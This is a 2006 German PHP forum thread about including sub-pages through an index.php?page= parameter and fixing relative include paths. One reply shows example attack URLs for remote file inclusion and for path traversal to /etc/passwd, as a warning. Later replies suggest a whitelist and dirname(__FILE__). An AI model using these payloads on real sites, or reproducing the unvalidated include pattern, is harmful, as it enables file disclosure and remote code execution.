php.de

Zurück   php.de > Webentwicklung > PHP Einsteiger > PHP Tipps 2006

 
 
LinkBack Themen-Optionen Thema bewerten
Alt 09.03.2006, 16:30  
Gast
 
Beiträge: n/a
Standard Einbinden von Seiten, die Includes enthalten, Pfad probleme.

Hallo
Ich habe ein Problem mit dein einbinden von meinem Download-Script in meine Homepage.

Meine Index-Seite besteht aus einem einfachem Script, das die Seite includet die als variable an denn Link angefügt wurde.

z.B. index.php?page=news.php

Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )
Nun möchte ich mein eigenes Downloadscript includen:
index.php?page=script/down/download.php

Das Problem ist nun, dass die Links und Includes der download.php von /down/ Verzeichnis ausgehen, wegen des includes „befindet“ sich die Datei aber im RootHome verzeichniss.

Nun könnte ich alle Pfade per Hand abändern, aber das erscheint mir eine etwas „unschöne“ Lösung zu sein.

Gibt es (außer Iframes) eine angenehme Möglichkeit wie man es Lösen könnte?

LG Homwer
 
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 09.03.2006, 16:38  
Clan
Gast
 
Beiträge: n/a
Standard

Zitat:
Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )
Antwort:

Zitat:
index.php?page=http://www.domain.de/bösesscript.txt
Zitat:
index.php?page=../../../../../etc/passwd
 
Alt 09.03.2006, 16:41  
Erfahrener Benutzer
 
Registriert seit: 21.08.2003
Beiträge: 468
Spyker
Spyker eine Nachricht über ICQ schicken
Standard

den basis Pfad von einer Seite am besten immer in einer Konstante aufbewahren und überall davor setzen....

Irgentwie must du auch noch das oben beschrieben prob von clan umgehen.

und wenn du nur php dateien inlcudest dann lass das aus der URL und nimm es mit in die includeanweisung.

dann werden die URL´s kürzer (immerhin 4 Zeichen) und das oben beschrieben Prob ist schon einmal auf PHP Dateien beschränkt.. (reicht aber nicht).

beste,
Tim
__________________
Typo3 Suchmaschinenoptimierung <- alles Rund um SEO mit Typo3
Spyker ist offline  
Alt 09.03.2006, 16:59  
Erfahrener Benutzer
 
Registriert seit: 21.12.2004
Beiträge: 5.235
PHP-Kenntnisse:
Fortgeschritten
mepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblickmepeisen ist ein wunderbarer Anblick
mepeisen eine Nachricht über ICQ schicken mepeisen eine Nachricht über Skype™ schicken
Standard

Prinzipiell ist die Lösung schlecht, weil sie eine Angriffsfläche bietet. Du könntest theoretisch dort Dateien angeben, die Passwörter enthalten usw.

Besser ist beispielsweise das Angeben eines Namens, der dann für ein Script steht, beispielsweise "down" für "script/down/download.php". Mittels eines Arrays kann man herausfinden, welche Datei hinter einem Namen steht. Ist der Name nicht im Array enthalten gibst du einen Fehler aus...

Zu deiner eigentlichen Frage: Eine relativ einfache und geschickte Lösung ist, wenn du die Pfade relativ zum Urpsrung angibst. Beispiel für deine download.php:
PHP-Code:
<?php
$path 
dirname(__FILE__);
include(
$path.'/script.php'); // gleiches Verzeichnis wie download.php
include($path.'/../script.php'); // eins drüber
?>
Musst natürlkich dafür sprgen, dass die kein anderes Script dein $path überschreibt...
__________________
www.php-maven.org PHP und Maven vereint: Build/Deploy/Produktion/Konfiguration, Projekt Management, CI, PHPUnit, zahlreiche Frameworks
Twitter @ https://twitter.com/#!/mepeisen und Facebook @ http://t.co/DZnKSUih
mepeisen ist gerade online  
Alt 09.03.2006, 19:10  
Gast
 
Beiträge: n/a
Standard

Zitat:
Zitat von Clan
Zitat:

index.php?page=../../../../../etc/passwd
Geht nicht, weil safe mode = on

Das die Methode gewisse riesiken birgt ist mir klar, es geht im momment eigentlich auch nur darum wie ich am besten die anderen seiten einbinde auch wenn die Pfade so blöde sind.
 
 


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Oracle probleme beim einbinden der php_oci8.dll PHP Tipps 2007 20 25.11.2005 16:21
Probleme beim einbinden von FCKeditor PHP Tipps 2005-2 2 15.09.2005 23:42
Einbinden von PHP Grafiken auf anderen Seiten nachvollziehen PHP Tipps 2005-2 7 07.07.2005 01:57
Probleme beim (verlinken) von php seiten PHP Tipps 2005-2 3 01.07.2005 15:19
Probleme mit Pfad zum Datei hochladen PHP Tipps 2005-2 6 13.06.2005 13:26
Seiten mit include einbinden !!! PHP Tipps 2005 6 06.05.2005 10:56
Probleme beim erstellen und einbinden eines favicon !! HTML, Usability und Barrierefreiheit 1 20.03.2005 18:15
[Erledigt] externe Seiten einbinden HTML, Usability und Barrierefreiheit 6 03.11.2004 19:14
Seiten einbinden HTML, Usability und Barrierefreiheit 4 13.09.2004 15:04

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
typo3 include html, php pfad include, pfad zum script/pages/downloads.php, pfad zum script pages downloads, http://www.php.de/php-tipps-2006/38031-einbinden-von-seiten-die-includes-enthalten-pfad-probleme.html, :/pfad zum script/pages/downloads.php, /pfad zum script/pages/downloads.php, pfad zum script / pages / downloads.php, :/pfad_zum_script/pages/downloads.php, typo3 include externe webseiten, externe datei in typo3 einbinden, pfad_zum_script/pages/downloads.php, typo3 und php seiten include, typo3 include pfad, typo3 html-page include, typo3 include php, typo3 externe seite einbinden, php includes, http://pfad_zum_script/pages/downloads.php, typo3 include einbinden

Alle Zeitangaben in WEZ +2. Es ist jetzt 12:13 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.